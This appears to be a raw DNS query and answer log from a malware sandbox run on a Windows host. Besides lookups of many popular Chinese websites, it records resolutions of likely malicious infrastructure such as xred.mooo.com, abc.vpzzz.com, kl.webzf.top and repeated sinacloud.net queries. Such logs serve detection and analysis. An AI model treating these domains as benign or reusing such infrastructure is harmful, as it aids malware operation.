Aug 5, 2024 12:01:13.284787893 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.285783052 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.kuaishou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.349131107 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.349308968 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.iqiyi.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.425280094 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.425299883 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sohu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.487826109 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.488812923 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sogou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.550276995 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.550506115 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.qq.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.620136976 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.621244907 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.sina.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.675446033 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.676790953 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.so.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.738262892 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.739166975 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.815594912 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.815864086 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	soso.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.879988909 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.880992889 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jd.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.957576036 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.958945036 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.1688.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.018939018 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.019124031 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.hao123.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.081111908 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.081129074 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	youdao.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.143512011 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.143541098 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	foodmate.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.206389904 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.207739115 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.jmw.com.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.270155907 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.270699978 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.cdstm.cn	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.331722975 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.332283020 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.eastmoney.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.393968105 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	qingdaocs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.393970966 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	qingdaocs.oss-accelerate.aliyuncs.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.395519018 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.395565033 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	www.tencent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.196724892 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.198055029 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.467051983 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:16.468337059 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:25.891500950 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:25.893289089 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:34.106754065 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:34.106815100 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:45.555516005 CEST	192.168.2.7	114.114.114.114	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:45.555980921 CEST	192.168.2.7	8.8.8.8	0x100	Standard query (0)	sinacloud.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 5, 2024 12:00:16.904014111 CEST	1.1.1.1	192.168.2.7	0xcf80	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:24.976387978 CEST	1.1.1.1	192.168.2.7	0xabd	No error (0)	docs.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:26.581665039 CEST	1.1.1.1	192.168.2.7	0x57e5	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:26.640559912 CEST	1.1.1.1	192.168.2.7	0xfd79	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:26.754123926 CEST	1.1.1.1	192.168.2.7	0xec7d	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:31.080032110 CEST	1.1.1.1	192.168.2.7	0xefe7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:31.231551886 CEST	1.1.1.1	192.168.2.7	0x1738	No error (0)	abc.vpzzz.com		81.70.163.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:34.775634050 CEST	1.1.1.1	192.168.2.7	0x30d1	No error (0)	kl.webzf.top		43.154.222.70	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829262972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829262972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829262972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829262972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829262972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829731941 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829731941 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829731941 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.829731941 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.860004902 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.860004902 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.860004902 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		163.171.132.119	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.191	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.195	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.193	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.194	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.192	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.927016973 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.931065083 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.984551907 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.985480070 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.985480070 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.132.73.61	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.988039970 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.988039970 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:37.988039970 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.112.18	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.988039970 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.236.64	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:37.993710041 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.032072067 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.032072067 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.055521011 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.055521011 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.059247971 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.059247971 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.059247971 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.180	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069003105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069003105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069003105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069003105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069003105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.069327116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.074954987 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.074954987 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.65.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.075129032 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.075129032 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.075129032 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.075129032 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.078319073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.078319073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.078319073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.078319073 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.080584049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.080584049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.197	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.080584049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.198	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.080601931 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.080601931 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.087974072 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.093509912 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.093509912 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.106365919 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.106365919 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.152.186.103	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.111547947 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346842051 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346879005 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346909046 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346968889 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.346968889 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.130.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.347294092 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.347309113 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.347417116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.347417116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.347417116 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.347506046 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.568943977 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569367886 CEST	1.1.1.1	192.168.2.7	0x6c6f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569483042 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569483042 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569483042 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569483042 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
